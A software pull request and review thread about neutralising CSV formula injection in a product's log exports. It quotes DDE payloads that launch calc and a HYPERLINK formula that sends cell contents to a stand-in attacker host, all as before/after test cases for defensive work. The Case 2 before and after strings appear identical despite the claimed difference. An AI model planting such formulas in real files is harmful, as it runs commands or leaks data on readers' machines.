Neutralise formula prefixes in CSV log exports

[MauryaQbit]

Community Contribution License Agreement

By creating this pull request, I grant the project maintainers an unlimited,
perpetual license to use, modify, and redistribute these contributions under any terms they
choose, including both the AGPLv3 and the Fossorial Commercial license terms. I
represent that I have the right to grant this license for all contributed content.

AI Disclosure

I used AI help on this one — tracing the export paths from the issue, writing the encoder, and writing the tests. I reproduced the issue's outputs by running the original function locally before and after the change. One honest caveat: I haven't opened a generated export in Excel myself, so the "spreadsheet won't evaluate this" part is going off documented behavior, not something I watched happen.

Description

Fixes #3864.

Every CSV log export in the product funnels through generateCSV, and it had three problems:

1. Formula prefixes were never neutralized. Excel, Sheets, and LibreOffice all evaluate a cell starting with =, +, -, @ (and tab/CR) as a formula — even when the cell is quoted, since they unquote first and evaluate second. So quoting was never going to save us. And the columns are all attacker-controlled text: actor is just a virtual API key name with a non-empty check on it, path / host / originalRequestURL / metadata come straight off the client's request, and the AI session export carries full request/response bodies. The &A1 form is the one that actually worries me, since it reads neighboring cells and can ship their contents out to an attacker URL.
2. Quotes were only escaped when the value also contained a comma, so something like evil"cell sailed through raw and ate every column after it.
3. Newlines weren't touched, so a single record could spill across rows — with a = sitting at the start of a forged row.

The fix puts every value (and header) through one small encoder that, in order: collapses CR/LF/CRLF down to a literal \n so a record is always exactly one line; prefixes ' when the first character would trigger formula evaluation; and quotes + doubles up quotes whenever the field contains a comma or a quote. The ordering matters — newline collapse has to come first, otherwise a = on a continuation line would still be live. null/undefined still render as empty fields exactly like before, and the empty-export placeholder header is byte-for-byte unchanged.

Also switched all five CSV export endpoints over to text/csv; charset=utf-8, which is what the S3 log-streaming destination already sends.

Two things I'd like a second pair of eyes on:

• Negative numbers now come out as text (-12 becomes '-12). Displays identically, but Excel will treat it as text rather than a number. I think that's the right trade — -2+3+cmd|'/c calc'!A0 is a genuine DDE payload and these exports are read by people, not parsed back — but happy to narrow the prefix set if you'd rather keep numeric columns numeric.
• I deliberately left toCsv in S3LogDestination.ts alone. It has the same missing prefix handling, but that's a machine-ingestion format, and sticking ' in front of values there would corrupt downstream data instead of protecting anyone. Mentioning it here in case you want a separate decision on it.

Proof — before vs after

I ran the issue's exact PoCs through the committed code on both sides (main @ 58a3701 vs this branch). Outputs are stringified so every newline is visible.

Case 1 — DDE / formula prefixes going out raw:

BEFORE  "actor,path,host\n+cmd|'/c calc.exe'!A1,-2+3+cmd|'/c calc'!A0,@SUM(1+1)"
AFTER   "actor,path,host\n'+cmd|'/c calc.exe'!A1,'-2+3+cmd|'/c calc'!A0,'@SUM(1+1)"

Case 2 — one record forging three rows, the middle one a formula:

BEFORE  "actor,path\nme,/multi\n=1+1\nline3"
AFTER   "actor,path\nme,/multi\n=1+1\nline3"

(before: 4 physical lines; after: 2 — one record is one line again, and there's no = left at the start of any line.)

Case 3 — a quote without a comma eating the columns after it:

BEFORE  "actor,path\nevil\"cell,/p"
AFTER   "actor,path\n\"evil\"\"cell\",/p"

Case 4 — the actual exploit from the report, a virtual API key named =HYPERLINK("http://attacker.tld/?d="&A1,"click me"):

BEFORE  "actor\n\"=HYPERLINK(\"\"http://attacker.tld/?d=\"\"&A1,\"\"click me\"\")\""
AFTER   "actor\n\"'=HYPERLINK(\"\"http://attacker.tld/?d=\"\"&A1,\"\"click me\"\")\""

Worth staring at this one for a second: the before output is quoted, and it doesn't matter — the spreadsheet strips the quotes and evaluates anyway. The leading ' in the after output is the whole fix.

How to test?

npx tsx server/routers/auditLogs/generateCSV.test.ts

New test file covers the three cases from the report plus the HYPERLINK exfil case, a leading TAB, CRLF, benign rows staying byte-identical, a prefix that only appears mid-value (should be left alone), a comma in a header, and the unchanged empty-export output. I also ran npx tsc --noEmit (0 errors — and I sanity-checked the invocation itself by planting a deliberate type error and watching it get caught).

On CI this PR is green across test, build-sqlite, and build-postgres.

Two local-only notes so nobody chases ghosts: prettier --check flags everything on a Windows checkout including untouched upstream files (CRLF vs LF), so I verified formatting with --end-of-line lf instead — no diff. And if you run the full *.test.ts suite locally, three files (ip, traefikConfig, migrationsSqlite.backup) fail identically on pristine main — pre-existing breakage unrelated to this change (missing side-effect import, a circular import, and a migration assuming a table the seed never creates). I left those out of this PR on purpose; can spin up a follow-up if you want them fixed.

[oschwartz10612]

I think I would expect negative numbers to be rendered as numbers but otherwise this makes sense.

[MauryaQbit]

@oschwartz10612 You're right, that's a fair point — -12 isn't a formula so it shouldn't come out as text. I'll only add the ' prefix when the value starts with - but isn't a plain number, so the DDE stuff like -2+3+cmd|'/c calc'!A0 still gets blocked while normal negative numbers stay numbers. I'll update the tests and push a commit shortly, thanks!